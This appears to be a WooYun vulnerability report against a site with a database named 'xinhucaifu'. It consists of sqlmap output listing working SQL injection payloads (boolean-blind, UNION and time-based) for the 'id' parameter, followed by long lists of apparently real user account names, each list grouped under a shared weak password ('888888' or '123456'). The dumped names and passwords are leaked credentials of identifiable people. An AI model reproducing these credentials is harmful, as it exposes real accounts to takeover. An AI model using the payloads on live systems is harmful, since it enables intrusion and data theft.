WooYun.org

[10:33:39] [INFO] GET parameter 'id' is 'MySQL UNION query (NULL) - 1 to 20 columns' injectable
GET parameter 'id' is vulnerable. Do you want to keep testing the others (if any)? [y/N] n
sqlmap identified the following injection points with a total of 48 HTTP(s) requests:
---
Place: GET
Parameter: id
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: id=198) AND 8832=8832 AND (1107=1107
    Type: UNION query
    Title: MySQL UNION query (NULL) - 8 columns
    Payload: id=-7240) UNION ALL SELECT NULL,CONCAT(0x7167716871,0x4a4c7156656a41495666,0x716b676371),NULL,NULL,NULL,NULL,NULL,NULL#
    Type: AND/OR time-based blind
    Title: MySQL > 5.0.11 AND time-based blind
    Payload: id=198) AND SLEEP(5) AND (9760=9760
---
[10:33:49] [INFO] the back-end DBMS is MySQL
web server operating system: Windows
web application technology: Apache 2.2.22
back-end DBMS: MySQL 5.0.11
[10:33:49] [INFO] fetching database names
[10:33:50] [INFO] the SQL query used returns 2 entries
[10:33:50] [INFO] retrieved: "information_schema"
[10:33:50] [INFO] retrieved: "xinhucaifu"
available databases [2]:                                                                                               
[*] information_schema
[*] xinhucaifu

密码：888888
zhoudapeng
sunhongyu
zhangfan
hudie
lilimei
zhanghan
zhaoping
wangyu
daijiajie
denghaoxiang
fangjianzhao
houxiaokun
wangxiaomeng
xiaobing
zhaojinyu
chenghefeng
gexin
yuhongmei
zhangying
sunyitong
wangweijie
gaoxuefeng
gaomin
lifeifei
quning
yaojingchao
liuzhengchang
zhengxiaoyu
maoyiyuan
wangyu
bianjiang
lujun
wanghaikuo
houjue
wangwenge
wangzaixi
yangchangjiang
hujuanjuan
zhanghaifeng
weizizhu
yuelintao
liyanping
zhaohaifeng
liangxitong
quyuncai
caojingjiang
yuyi
yuyicheng
wangjifeng
fusili
xiemin
zhangaiqing
mengxiangyang
shengdawei
rentianxiang
wangzhijian
chengwan
langlinlin
mameixiu
zhangtingting
zhoufeng
mishan
yuxiaoting
lishidong
liufengjuan
cuihaixia
douyoufa
luoxiaojia
wangjiaxin
shiyafei
hexun
liqifang
liuliyan
xuguanglei
dailijiao
caixinying
liangxinwu
liuzexin
manzhaobin
songlingrui
haoxilong
jianghao
songzhao
suiyande
tianhongtao
huanglei
xiayouquan
lijunpeng
miaosainan
chihong
zhumu
zhanglili
yaopenglei
haomingqian
liusuxiang
liuxiaoping
mengdan
daijing
dongcunwei
guokepu
lierjin
liliming
liyaxun
liuxiaona
renwenyan
wanghui
xujian
liusicong
wenweihua
pengning
chenjianan
liguangwei
lijiaye
wangweifu
wangxiaoting
yuyanchao
zhangqin
cuinaiqi
guoyanqiang
liutieqiang
luohaitao
yinsujuan
heleilei
wangjingjing
liyuefeng
linxiumei
liuqian
louyuwei
zhanghuijia
gaotong
tangchunqing
wanghui
wangxiao
zhoulihui
zhuchanghong
jizhao
tianruining
wuhaichao
zhaoyongning
zhencuixia
dingxuancheng
huangxiangcheng
liwenlong
wuyue
chenjianfeng
louyufeng
shijiale
ruanchun
zhangqin
zhangxinlei
tengguoshuai
liuqi
chenqinyun
luhenglu
dingxingjun
liugao
liuyukai
shishien
tanghong
xiabin
liumingming
yuhong
wuyinyan
zhangmingyuan
jiaqiling
kong
liuyanhua
lizhaoxun
zhangdawei

密码：123456
tangliqiu
fanrong
shihongwei
panying
baixue
hanjiangang
yangbin
chenjiufei
liye
liuzhanying
sujiuhong
menglei